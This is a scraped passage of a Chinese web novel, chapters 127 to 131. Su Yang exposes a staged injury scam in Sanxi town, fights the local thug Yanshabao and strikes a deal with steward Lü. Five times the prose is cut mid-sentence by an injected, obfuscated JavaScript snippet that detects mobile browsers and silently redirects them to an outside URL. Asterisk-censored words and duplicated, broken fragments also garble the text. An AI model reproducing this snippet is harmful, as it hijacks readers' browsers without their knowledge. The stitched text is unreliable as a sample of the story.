一个秃生汉子,一屁股坐在了最前头的牛车前。 “哎呦,哎呦……**了,**了……” 苏阳走在队伍后面,听到动静,赶紧带人上前查看。 秃生汉子坐在地上,捂着腿,哼哼唧唧个不停。 “咋回事?”苏阳问赶车的路旭东。 路旭东一脸苦相:“阳哥儿,我真没看见啊!这人跟鬼似的,突然就冒出来了……” 旁边跟着的小子也直摇头,表示自己啥也没看见。 大伙儿都垂头丧气的,觉得晦气。 看路旭东的眼神,也怪怪的。 路旭东冷汗都下来了,心里七上八下的,这可咋整? 苏阳把大伙儿的神情尽收眼底,眉头紧锁。 这一个个的,熊样! “远山,你咋看?”苏阳问。 孔远山跟路旭东关系好,怕他受责罚,赶紧说: “阳哥儿,我看这人不像有事,要不,我去说说好话,给他点钱,打发了算了?” 苏阳没表态,又问周阳:“你说呢?” 周阳脖子一梗:“阳哥儿,您说咋办就咋办!” 苏阳没搭理他。 秃生汉子见没人理他,叫得更欢了:“哎呦!腿断了!我的腿断了!疼死我了……” 这一嗓子,把路旭东他们吓得脸色煞白。 这年头,断了腿,不死也得脱层皮,这人怕不是要讹上自己? 苏阳又感觉有人拽自己。 这次比上次还轻,生怕别人发现。 一定是那个卖猪肉的屠户。 苏阳没回头,只把手往后一摆,示意他别吭声。 他上前一步,看着地上的秃生: “这位麻哥,对不住了,您伤着哪儿了?要不,我给您看看?” “哎呦,哎呦,腿,我的腿……”秃生不理他,还是那几句车轱辘话。 突然,人群里跳出一个麻脸汉子,扑到秃生身边,干嚎起来: “兄弟啊,你这是咋了啊……” “二痦子,你嚎个屁!还不快把你兄弟送医馆去!”有人喊道。 “就是,别嚎了,再耽搁,腿就真废了!” 张二痦嚎得更起劲了:“我也想救我兄弟,可我没钱啊……” “没钱?找撞你兄弟的人要啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006449|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “对啊,就是他们撞的!快要钱!” 围观的人群你一言我一语。 张二痦一听,立刻换了副嘴脸,指着苏阳一行人: “你们撞了我兄弟,赔钱!” 苏阳装作吓了一跳,往后退了两步: “别……别动手,要……要多少,你说个数。” 张二痦见状,以为苏阳怕了,狮子大开口: “十两!十两银子!” 苏阳作势要掏钱。 “慢着!” 人群里钻出一个麻脸虎,拦住了他。 “二痦子,你傻啊!你兄弟这腿,十两银子哪够?” “那……那多少?”张二痦愣住了。 “少说也得五十两!”麻脸虎斩钉截铁地说。 “对对对!五十两!少一文都不行!”张二痦立马改口。 苏阳笑了笑,没说话,只是看着自己这帮手下。 一个个的,还是那副怂样。 苏阳心里那叫一个气啊! 就这? 还想跟着**大事? 这点小场面都看不明白? “赔钱!快赔钱!”张二痦见苏阳不说话,急了。 苏阳也不装了,直接说道: “这样吧,咱们也别去医馆了,我就会治跌打损伤,我来给他看看。” 说着,也不管张二痦同意不同意,走到秃生面前。 “哪条腿断了?指给我看看。”苏阳语气平静。 人群一下子安静下来,所有人的目光都集中在苏阳身上。 “他……他说他会治病?” “真的假的?别是吹牛吧?” “我看悬,这年头,庸医害**啊……” “……” 窃窃私语声中,苏阳蹲下身子,盯着秃生汉子。“哎哟……哎哟……疼啊……” 秃生汉子躺在地上翻来滚去,嘴里除了喊疼,就是不肯说实话。 苏阳蹲下身,死死盯着他的眼睛,一字一顿地问道: “我、再、问、你、一、遍。是、不、是、这、条、腿、断、了?” 这声音冰冷刺骨,仿佛寒冬腊月的冰碴子,扎得秃生汉子一个激灵。 “是……是……就是这条腿……哎哟……” 秃生汉子疼得五官都扭曲在了一起,可被苏阳这么一吓,还是老老实实地交代了。 “好,很好。 第一百二十七章 ” 苏阳缓缓站起身,嘴角微微上扬,露出了一个让秃生汉子心底发毛的笑容。 他慢条斯理地活动了一下脚踝, “既然腿断了,那就得好好治治。你忍着点,别乱动。” 围观的人群中,有几个胆小的,已经下意识地捂住了眼睛。 他们似乎已经预料到,接下来会发生什么可怕的事情了。 “咔嚓!” 一声脆响,像是掰断了一根枯树枝。 苏阳这一脚,不偏不倚,正好踩在了秃生汉子之前指认的那条“断腿”上。 原本还算“正常”的腿,现在却以一个极其诡异的姿势弯曲着,明显是断了。 “啊——!” 秃生汉子发出撕心裂肺的惨叫,声音之凄厉,让在场的所有人都忍不住打了个寒颤。 这可比刚才的嚎叫声惨烈多了, 简直就像是杀猪一样。 “这……这是治腿?我没看错吧?” “这哪是治腿啊,这分明是把人腿给踩断了啊!” “我的天,这小子下手也太狠了吧……” “……” 人群一下子炸开了锅, 大家七嘴八舌地议论着,看向苏阳的眼神中,有震惊,有恐惧,也有疑惑。 毕竟, 刚刚这秃生汉子还口口声声说是被牛车撞断了腿, 怎么现在又变成被这年轻人踩断的了? 这中间, 肯定有猫腻! 张二痦和麻脸虎也懵了。 他们怎么也没想到, 苏阳竟然会来这么一手。 原本还指望着靠这秃生汉子的“断腿”讹上一笔, 现在可好, 腿真断了, 这戏还怎么往下演? “你……你……你竟敢动手**!” 张二痦指着苏阳的鼻子,气得浑身哆嗦, “你晓得这是哪儿不?这是三溪镇!不是你们乡下人撒野的地方!” 麻脸虎也扯着嗓子喊了起来: “乡亲们,都看见了吧?这小子光天化日之下行凶伤人,咱们可不能饶了他!” “把他抓起来,送官府!” 他这一嗓子,还真就煽动了几个不明真相的吃瓜群众。 再加上一些平日里就跟眼煞豹一伙人沆瀣一气的地痞流氓, 场面顿时变得更加混乱起来。 “外乡人欺负人啦!” “打死这帮外乡人!” “不能让他们跑了!” “……” 叫嚷声、推搡声,此起彼伏。 甚至有人开始往苏阳他们这边挤, 场面眼看就要失控。 苏阳却像是什么都没发生一样, 脸上依旧挂着淡淡的笑容。 他转过头,看着孔远山和路旭东,轻声问道: “你们说,这事儿该怎么处理?” 路旭东还没来得及说话, 孔远山就抢先一步, 凑到苏阳耳边,压低声音说道: “阳哥儿,我看……咱们还是先服个软吧。毕竟双拳难敌四手,等回去了,再找机会收拾他们也不迟……” 他一边说,一边还用眼角的余光偷瞄着苏阳的表情, 生怕自己说错了话。 “服软?为什么要服软?” 路旭东瞪大了眼睛,一脸的不服气, “**,谁怕谁啊?大不了跟他们拼了!” “人多又怎么样?咱们手里的家伙也不是吃素的!” “就是,跟他们干!” 苏阳手下的其他几个小子也纷纷附和, 一个个摩拳擦掌,跃跃欲试。 眼瞅着双方剑拔**张,一触即发。 就在这时, 人群中突然传来一阵骚动。 “让开!都让开!” “眼煞豹来了!” “这下有好戏看了!” “……” 原本围得水泄不通的人群, 像是被摩西分海一样, 硬生生地让出了一条通道。 一个脸上刺着青色虎头的汉子, 在一群人的簇拥下, 大摇大摆地走了进来。 他,就是眼煞豹。 三溪镇上赫赫有名的地头蛇。 眼煞豹走到人群前面, 扫了一眼躺在地上哀嚎的秃生汉子, 又看了看站在一旁的苏阳等人, 嘴角微微一撇,露出一丝不屑的冷笑。 他身后的小弟也都不是什么善茬, 一个个凶神恶煞地盯着苏阳他们, 手里都攥着家伙,有短刀,有**,还有的拿着铁棍。 虽然他们人不多, 但那股子狠劲儿, 却足以震慑住绝大多数人。 “小子,你胆子不小啊,敢在我的地盘上动手?” 眼煞豹的声音低沉而沙哑, 像是两块砂纸在摩擦, 听着就让人不舒服。 他走到苏阳面前,上下打量了他一番, 眼神中充满了轻蔑和挑衅。 原本,眼煞豹只是躲在人群后头看热闹。 这种讹人的把戏,他见得多了, 也懒得亲自出面。 可让他没想到的是, 苏阳竟然这么不按套路出牌, 直接把秃生汉子的腿给踩断了。 这下, 事情的性质可就变了。 原本只是想讹点钱, 现在却变成了故意伤人。 如果他不站出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006450|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' , 以后还怎么在三溪镇上混? 还怎么服众? 眼煞豹的小弟们一看老麻来了, 顿时来了精神。 一个个都把胸脯挺得老高, 恨不得把“我是流氓”四个字写在脸上。 他们心里清楚, 今天这事儿, 肯定是不能善了了。 可让他们没想到的是, 面对眼煞豹的威胁, 苏阳竟然丝毫不惧, 反而还笑眯眯地反问道: “你的地盘?这三溪镇是你家的?” “整个大吴,都是官府的。” 他这话一出, 不仅眼煞豹愣住了, 就连周围的那些吃瓜群众也都愣住了。 这小子, 是真傻还是假傻? 竟然敢跟眼煞豹这么说话? 他难道不知道, 在这三溪镇上, 眼煞豹就是天,眼煞豹就是地吗? 得罪了眼煞豹, 比得罪了官府还要可怕! 眼煞豹也没想到苏阳会这么回答, 他先是一愣, 随即哈哈大笑起来。 “哈哈哈……有意思,真有意思!” “小子,你叫什么名字?” “我叫你爹!” 苏阳毫不客气地回敬道。 “你!” 眼煞豹的脸色瞬间阴沉了下来, 他身后的那些小弟们, 也都一个个怒目圆睁, 恨不得立刻冲上来把苏阳给撕成碎片。 “好!好!好!” 眼煞豹怒极反笑, “小子,你有种!我记住你了!” “不过,你以为你今天还能站着走出三溪镇吗?” 他一挥手, 身后的小弟们立刻围了上来, 把苏阳他们团团围住。 “把他们给我拿下!” 眼煞豹一声令下, 那些小弟们立刻挥舞着手中的家伙, 朝着苏阳他们扑了过去。 “保护阳哥儿!” 路旭东大吼一声, 第一个冲了上去。 孔远山等人也毫不犹豫地跟了上去。 一时间, 刀光剑影, 喊杀声震天。 那些原本还想趁火**的吃瓜群众, 此刻却都吓得四处逃窜, 生怕被误伤。 场面, 瞬间乱成了一锅粥。 苏阳手下的一帮小子, 起初还有些紧张, 可当他们看到苏阳那镇定自若的表情, 以及他那凌厉的身手时, 顿时信心倍增。 第一百二十八章 他们中的大多数人,之前都以为自己撞了人,理亏。 可后来才明白, 这根本就是个圈套! 阳哥儿早就看穿了这一切, 却一直隐忍不发, 直到最后才雷霆一击。 这让大家对苏阳的敬佩之情, 又加深了几分。 可也有几个脑子转得慢的, 直到现在都还没完全弄明白是怎么回事。 但不管怎么说, 阳哥儿是他们的主心骨, 只要跟着阳哥儿, 他们就什么都不怕! “兄弟们,抄家伙,跟他们干!” “让这帮孙子见识见识,咱们青龙村的厉害!” “……” 苏阳手下的小子们,一个个都像打了鸡血一样, 挥舞着手中的**、**、盾牌, 跟眼煞豹的手下们战成了一团。 让所有**跌眼镜的是, 这帮看起来像是乡巴佬的年轻人, 竟然个个都身手不凡。 他们配合默契, 攻守兼备, 打得眼煞豹的手下们节节败退。 尤其是路旭东, 他手持一杆**, 左突右刺, 如入无人之境。 那些眼煞豹的手下, 根本就不是他的对手。 “这……这怎么可能?” 眼煞豹瞪大了眼睛, 一脸的难以置信。 他怎么也没想到, 自己手下这帮人, 竟然连一群乡下来的毛头小子都打不过。 这要是传出去, 他眼煞豹的脸面往哪儿搁? “一群废物!” 眼煞豹气得破口大骂, “都给我上!谁要是敢退缩,老子饶不了他!” 他一边骂, 一边从腰间拔出了一把**, 准备亲自上阵。 可就在这时, 他突然感觉身后传来一阵凉意。 他下意识地回头一看, 只见苏阳正站在他身后, 手里拿着一把明晃晃的**, 正对着他的脖子。“都**给老子闭嘴!” 眼煞豹一声怒吼,唾沫阳子横飞。 他恶狠狠地瞪着苏阳,那眼神,恨不得把苏阳给生吞活剥了。 “小子,少在这儿给老子耍花招!今儿个,你要是不赔钱,这事儿没完!” 苏阳冷笑一声,眼皮都没抬一下。 他早就看穿了这眼煞豹的心思。 这种人,欺软怕硬,你要是跟他讲道理,他反而会蹬鼻子上脸。 对付这种人,就得比他更横,更不讲理! 苏阳转过头,冲着那些三溪镇的百姓,扯着嗓子喊了起来: “各位乡亲,你们都给评评理!” “这眼煞豹,口口声声说是为了兄弟,可他真的在乎他兄弟的死活吗?” “我好心好意,要拉他兄弟去城里看郎中,他百般阻挠,非要讹钱!” “你们说说,这是真心为兄弟着想的样子吗?” 苏阳一番话,说得慷慨激昂,掷地有声。 那些原本还站在眼煞豹那边的百姓,开始交头接耳,窃窃私语。 “是啊,这眼煞豹平时就不是个东西,吃拿卡要,坏事做尽!” “可不是嘛,我上次还看见他,为了几个铜板,把一个卖菜的老头给打了呢!” “这眼煞豹,就是个吸血鬼,咱们可不能再被他给骗了!” …… 议论声越来越大,眼煞豹的脸色也越来越难看。 他万万没想到,苏阳竟然会来这么一手。 这小子,简直比他还阴险! “你们……你们别听他胡说八道!” 眼煞豹气急败坏地想要辩解,可他的声音,完全被淹没在了百姓的议论声中。 “我呸!谁胡说八道了?” 苏阳冷哼一声,步步紧逼: “眼煞豹,你敢当着大家伙的面发誓,说你不是为了讹钱,而是真心为了你兄弟好?” “我……” 眼煞豹张了张嘴,却什么也说不出来。 他平时作威作福惯了,哪把手下这些人的死活放在心上? 现在让他发誓,他哪敢啊? “怎么,不敢了?心虚了?” 苏阳冷笑连连,语气中充满了鄙夷: “我看你,就是个彻头彻尾的**子,假仁假义!” 说着,苏阳指着眼煞豹的鼻子,大声说道: “你看看你,脑满肠肥,穿金戴银,瞧瞧你身边这帮小弟,一个个穿得破破烂烂,面黄肌瘦!” “你敢说,你平时没有克扣他们的工钱?没有压榨他们?” “这……” 眼煞豹支支吾吾,脸色一阵青一阵白。 他平时确实没少干这些缺德事,可这种事,哪能当着这么多人的面承认? “还想狡辩?群众的眼睛是雪亮的!” 苏阳提高了嗓门,继续说道: “你眼煞豹,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006451|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个吸血的蚂蝗,趴在兄弟们身上吸血!” “今天,我就要替天行道,揭穿你的真面目!” 苏阳一番话,说得义正辞严,慷慨激昂。 那些眼煞豹的手下,一个个低着头,脸色阴沉得可怕。 他们平日里虽然也对眼煞豹有所不满,但碍于他的**,敢怒不敢言。 现在,苏阳把他们心中的不满全都说了出来,让他们感到既解气,又害怕。 “你……你……” 眼煞豹指着苏阳,气得浑身发抖。 他做梦也没想到,自己竟然会被一个毛头小子给逼到这个份上。 “兄弟们,别听他妖言惑众!” 眼煞豹眼看形势不妙,急忙大声喊道: “这小子是故意挑拨咱们兄弟之间的关系,大家千万别上他的当!” “一起上,给我废了他!” 眼煞豹声嘶力竭地吼叫着,然而,响应他的人却寥寥无几。 他手下的那些人,一个个面面相觑,谁也不敢上前。 开玩笑,没看到刚才那几个愣头青的下场吗? 谁要是敢冲上去,那不是找死吗? 更何况,苏阳说得也有道理啊。 凭什么眼煞豹吃香的喝辣的,咱们就得跟着他受苦受累? “怎么,你们都聋了吗?老子的话不管用了是吧?” 眼煞豹见手下没人听他的,气得暴跳如雷。 他指着那些手下,破口大骂: “你们这帮忘恩负义的白眼狼,平时老子白养你们了?” “反了你们了!” “上啊!都给老子上啊!” 眼煞豹气急败坏,可他越是这样,手下的人就越是害怕,越是不敢动弹。 “二哥,别喊了,咱们还是走吧……” 一个胆小的手下,凑到眼煞豹身边,小声劝道。 “走?往哪儿走?” 眼煞豹瞪了他一眼,怒道: “老子今天要是走了,以后还怎么在三溪镇立足?” “可是……” 那手下还想说什么,却被眼煞豹粗暴地打断了。 “没什么可是的!今天这事儿,没完!” 眼煞豹咬牙切齿地说道,他已经彻底失去了理智。 苏阳冷眼旁观,心中暗自冷笑。 这眼煞豹,完全是自作自受。 他平时作恶多端,欺压百姓,现在终于遭到了报应。 不过,苏阳可不想就这么轻易放过他。 “眼煞豹,你不是要跟我算账吗?好啊,那咱们就好好算算! 第一百二十九章 ” 苏阳冷冷地说道: “你手下的人受伤,我负责出钱医治,这没问题吧?” “但是,你平时欺压百姓,克扣工钱,这笔账,又该怎么算?” “我……” 眼煞豹一时语塞,不知道该如何回答。 “怎么,没话说了吧?” 苏阳步步紧逼: “今天,你要是不给大家一个交代,这事儿,没完!” “你……你想怎么样?” 眼煞豹色厉内荏地问道。 “很简单。” 苏阳冷冷一笑: “把你平时克扣的工钱,全都吐出来,给大家伙分了!” “什么?!” 眼煞豹一听,顿时跳了起来: “这不可能!绝对不可能!” 那些钱,可都是他的血汗钱,让他吐出来,那比杀了他还难受! “不可能?我看你是敬酒不吃吃罚酒!” 苏阳脸色一沉,厉声喝道: “路旭东,周阳,给我上!” “是,二哥!” 路旭东和周阳早就等得不耐烦了,听到苏阳的命令,立刻挥舞着枪杆,冲了上去。 “啊!你们……你们别过来!” 眼煞豹吓得连连后退,可他哪里是路旭东和周阳的对手? “啪!啪!” 两声脆响,路旭东和周阳手中的枪杆,狠狠地抽在了眼煞豹的身上。 “哎呦!疼死老子了!” 眼煞豹惨叫一声,抱着脑袋,蹲在了地上。 “住手!都住手!” 就在这时,人群外,传来一声大喝。 “让开,都让开,吕管事来啦!” 人群自动分开一条道路,一个身穿绸缎长衫,留着山羊胡的中年男子,在一群人的簇拥下,走了进来。“让开,让开!吕管事来了!” 人群外,一阵鸡飞狗跳,伴随着几声尖利的吆喝。 原本围得里三层外三层的吃瓜群众,像是被火燎了腚的兔子,呼啦一下散开,自动让出一条道来。 一个穿金戴银,腆着个啤酒肚,下巴上留着一撮山羊胡的中年男人,在一群挎着腰刀、凶神恶煞的差役簇拥下,大摇大摆地走了进来。 不用猜,这脑满肠肥的家伙,八成就是那位在三溪镇“呼风唤雨”的吕管事了。 苏阳冷眼旁观,心中盘算着应对之策。 吕管事还没来得及开口,他身旁一个贼眉鼠眼、尖嘴猴腮的狗腿子,就扯着破锣嗓子喊了起来: “哪来的刁民!敢在三溪镇撒野?眼里还有没有王法了!” 话音未落,一群差役便如狼似虎般围了上来,手中的腰刀晃得人眼晕,明摆着是把苏阳一行人当成了麻烦制造者。 眼煞豹一见吕管事,就像是见到了亲爹,一个饿虎扑食冲了上去,声泪俱下地哭诉: “吕管事!您老可得给小的们做主啊!” 他伸手指着苏阳,唾沫阳子乱飞: “这小子,也不知道是哪个犄角旮旯里蹦出来的,跑到咱们三溪镇撒野,把我们往死里欺负!” “他先是撞伤了我兄弟,又……又下黑手踩断了人家的腿,还打晕了我好几个兄弟……” 眼煞豹一把鼻涕一把泪,那叫一个委屈。 吕管事背着手,先是扫了一眼地上躺着的几个哼哼唧唧的倒霉蛋,眉头拧成了疙瘩。 又瞥了一眼鼻青脸肿,像条落水狗一样摇尾乞怜的眼煞豹,眼神中闪过一丝厌恶。 最后,他的目光落在了苏阳身上,上下打量着。 眼煞豹是个不入流的混混,能懂什么? 吕管事能在三溪镇混得风生水起,靠的可不仅仅是心狠手辣。察言观色,识人辨人的本事,他还是有几分的。 他一眼就看出,眼前这个年轻人,不简单。 苏阳气度沉稳,眼神锐利,站在那里,自有一股不怒自威的气势。 哪怕面对他这个三溪镇的“头面人物”,也丝毫没有露怯。 这份胆识,就不是常人能有的。 再看他身后那几个年轻人,一个个也都不是省油的灯。 吕管事发现,这些人的腰杆挺得笔直,眼神如同鹰隼一般,太阳穴高高鼓起。 行走之间虎虎生风,一看就是练家子,而且八成是见过血的! 那种漠视生命的眼神,是装不出来的。 吕管事心里跟明镜似的,这些年轻人,手里恐怕都攥着不止一条人命! 而且,苏阳这伙人,和眼煞豹这种货色有着本质的区别。 眼煞豹这种人,透着一股子阴狠劲,让人看着就浑身不舒服。 可苏阳他们,却不一样。 他们身上,有一种凛然正气。 就算真的杀过人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006452|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀的也肯定是那些该死的恶人,不然绝对不会有这种底气! 吕管事心中暗自琢磨开了。 原本,他还想借着这个机会,给苏阳一个下马威,让他知道知道,在三溪镇这地界,到底谁说了算。 可现在,他改变主意了。 这年轻人,明显不是个任人拿捏的软柿子。 吕管事可不想为了眼煞豹这条狗,惹上不必要的麻烦。 更何况,从这小子的眼神里,他看到了一种叫做“决绝”的东西。 这种人,你把他逼急了,他真敢跟你玩命! 吕管事可不想拿自己的身家性命去赌。 他眼珠子一转,清了清嗓子,语气缓和了几分: “我说小虎啊,你也别嚷嚷了。我看你的人,也没啥大事。看在我的份上,今儿这事,就这么算了吧,咋样?” 眼煞豹一听这话,差点没当场晕过去。 他原本眼巴巴地指望着吕管事给他撑腰,把苏阳这伙人狠狠收拾一顿。 谁曾想,吕管事居然让他息事宁人? 这还是那个一向护短的吕管事吗? 眼煞豹心里那个憋屈啊,简直比生吞了一只苍蝇还难受。 他张了张嘴,想说些什么,可一对上吕管事那冰冷的眼神,顿时又把话咽了回去。 在三溪镇,谁不知道他眼煞豹是吕管事手底下的一条狗? 平时,他替吕管事干了不少脏活。 吕管事想收拾谁,使个眼色,他眼煞豹就得冲在最前面。 可现在,吕管事竟然让他忍气吞声? 眼煞豹指着地上横七竖八躺着的几个手下,声音都带着哭腔: “吕管事,您老可不能不管我们啊!您看看,我这些兄弟,都被打成啥样了?” “还有秃生……秃生他……他腿都断了啊!” 眼煞豹越说越激动,声音都变了调。 他心里清楚,没了吕管事,他眼煞豹在三溪镇,屁都不是。 可吕管事要是没了眼煞豹,照样可以呼风唤雨。 只要他放出话去,有的是人抢着给他当狗! 想到这里,眼煞豹纵然有万般不甘,也只能打落牙齿和血吞。 他深吸一口气,强压下心头的怒火,从牙缝里挤出一句话: “行……听您的,吕管事。” 这话里的怨气,连傻子都能听得出来。 第一百三十章 吕管事却毫不在意地冷哼一声。 一条狗而已,不听话了,再换一条就是。 不过,吕管事也没打算就这么轻易放过苏阳。 毕竟,三溪镇的人都知道,眼煞豹是他养的狗。 打狗还得看主人呢! 苏阳当众打了他的狗,要是不给苏阳点颜色看看,他吕管事以后还怎么在三溪镇混? 吕管事眯起眼睛,上下打量着苏阳,皮笑肉不笑地问道: “这位小弟,看着面生啊,不知道是哪条道上的?” 这话里,透着一股子阴冷,让人不寒而栗。 苏阳心中冷笑,脸上却不动声色。 他知道,这老家伙是在试探自己。 这时候,绝对不能露怯。 苏阳微微一笑,不卑不亢地回答: “吕管事,我可是青龙村人。今天来三溪镇赶集,没想到被一条疯狗给咬了。” 他顿了顿,目光扫过眼煞豹,嘴角勾起一抹嘲讽的弧度: “我这人,有个毛病,见不得疯狗乱咬人。要是没人管的野狗,我不介意……送它上路。” 苏阳这话说得轻描淡写,但在场的人都听出了话里的杀气。 吕管事脸色一沉,心中暗自思忖: “这小子,果然不是个善茬!看来,眼煞豹是踢到铁板上了。” 他久在江湖,自然听得出苏阳话里的威胁。 敢这么跟他说话的,要么是愣头青,要么就是有所依仗。 看这小子的气度,怎么也不像是个傻子。 那就只剩下一种可能——他有恃无恐。 他凭啥这么嚣张? 青龙村? 这不是赖志成的势力范围么? 哪来这么个狠角色? 之前都没这号人啊? 吕管事心中一惊,隐隐觉得这事不简单。 他试探着问道: “小伙子,贵姓啊?” 苏阳微微一笑,毫不避讳: “免贵,姓苏,苏阳。” 吕管事眉头一皱,心中更加疑惑: “苏阳……苏……难道……” 他脑海中突然闪过一个人的名字,脱口而出: “你……你和苏豹是什么关系?” “苏豹正是家兄。” 苏阳回答得干脆利落。 吕管事一听,顿时恍然大悟。 “怪不得这小子这么嚣张,原来是苏老豹的弟弟!” “苏老豹……那可是个出了名的刺头,连官府都敢对着干的主!” “这小子,肯定是跟他那个死鬼麻哥的那些江湖朋友混到一块去了,不然咋敢蹦出来装逼?” 苏老豹的名头,在三溪镇这一带,可谓是无人不知,无人不晓。 那家伙,就是个天不怕地不怕的主! 吕管事虽然不至于怕了苏老豹那些人,但也不想给自己找麻烦。 为了眼煞豹这么一条狗,得罪那些亡命徒,实在是不划算。 但要让他就这么放过苏阳,他又实在咽不下这口气。 毕竟,众目睽睽之下,要是让苏阳把眼煞豹给收拾了,他吕管事以后还怎么在三溪镇立足? 吕管事左右为难,一时间竟不知如何是好。 到底要不要赌一把? 吕管事眼珠子转了转,心里有了主意。 他清了清嗓子,对苏阳说道: “小伙子,这样吧,以后你到咱们三溪镇做买卖,规子银,我给你免了。就当是……交个朋友,你看咋样?”“哈哈,吕管事果然爽快!你这份情,我苏阳记下了!” 苏阳拱了拱手,语气中带着几分真诚,只是这真诚之下,又藏了几分让人看不透的东西。 吕管事不动声色,指尖在茶盏边缘轻轻摩挲,发出细微的沙沙声。 “这小子,倒是识趣。也罢,卖他个人情,免了他在三溪镇的规子银,也算给足了他面子。” 他心中暗自盘算。 “不过,这种走江湖路子的,能正经做个什么买卖?” 他哪里知道,苏阳的目光,早已越过了三溪镇这方寸之地。 清阳县,甚至更广阔的天地,才是苏阳的野心所在。 眼下,有了吕管事的口头应允,苏阳便等同于在三溪镇埋下了一颗种子。至于这颗种子日后会长成参天大树,还是被人连根拔起,那就不是吕管事现在能预料到的了。 在大元朝,想要做生意,可不是光凭一腔热血就行的。 摆个地摊卖些小玩意儿,或许没人管你。可一旦想开店做大买卖,没点背景,想都别想!那些牙行、行会,能把你啃得骨头渣子都不剩!人家做得风生水起,你一个外乡人,凭什么来抢饭碗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006453|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “和气生财,和气生财嘛。”吕管事笑眯眯地端起茶盏,轻轻吹了吹。 有了三溪镇的入场券,苏阳自然是心情舒畅。至于以后的路怎么走,他相信自己总能趟出一条道来。 场面上的客套话说完,苏阳便带着手下,离开了三溪镇。 吕管事目送他们远去,眼神晦暗不明,指节一下一下地敲击着桌面,发出沉闷的“笃笃”声。 “今日这一步棋,究竟是走对了,还是走错了?” …… 离开三溪镇,走在乡间小道上,微风拂过,卷起路边几片枯叶。 路旭东一脸的不痛快,忍不住抱怨:“阳哥儿,就这么放过那帮龟孙子?这口气,我可咽不下!” 他“呸”地一声,往地上吐了口唾沫,仿佛要把心中的闷气全都吐出来。 苏阳斜睨了他一眼:“怎么,被人摆了一道,心里不舒坦?” 路旭东被说中心事,嘿嘿干笑两声,脸上有些挂不住。 孔远山凑了过来,神秘兮兮地问道:“阳哥儿,你是不是留了后手,准备回头收拾那个吕管事?” 一听这话,路旭东和几个手上沾过血的小子,顿时来了精神,眼睛里闪烁着兴奋的光芒。 这次在三溪镇的遭遇,简直是他们人生中的污点! 平日里打家劫舍,连土匪窝都敢端,谁知道竟然被几个小混混给耍了!要不是苏阳反应快,他们非得被敲诈一大笔银子不可! “这事要是传出去,咱们以后还怎么在道上混?”路旭东越想越觉得憋屈。 再说,明眼人都看得出来,那帮碰瓷的,跟吕管事脱不了干系! 想收拾那帮泼皮,就绕不开吕管事! 没想到,苏阳却在孔远山和路旭东的脑袋上各敲了一下:“一天到晚就知道打打杀杀!吕管事在官府里有人脉,动了他,咱们也讨不了好!” “啊……”孔远山捂着脑袋,一脸吃痛。 几个小子顿时像泄了气的皮球,蔫头耷脑。 苏阳看着他们垂头丧气的样子,笑着说道:“行了,别一个个都跟霜打的茄子似的。动不了吕管事,难道还不能动那几个泼皮?” “嗯?” 众人一愣,这是什么路数? 孔远山脑子转得快,他嘿嘿一笑:“阳哥儿,你不是跟吕管事说好了,这事儿就这么翻篇了吗? 第一百三十一章 ” 苏阳瞪了他一眼:“你小子,就不能少说两句?我已经跟吕管事谈妥了,可没答应那个脸上刺字的家伙!” 他顿了顿,语气一沉:“再说,出了三溪镇,你们就没觉得少了点什么?” “少了什么?”路旭东一脸茫然。 还是孔远山反应快,他一拍大腿:“哎呀!那些说好跟咱们来的石匠、铁匠,一个都没影儿!” 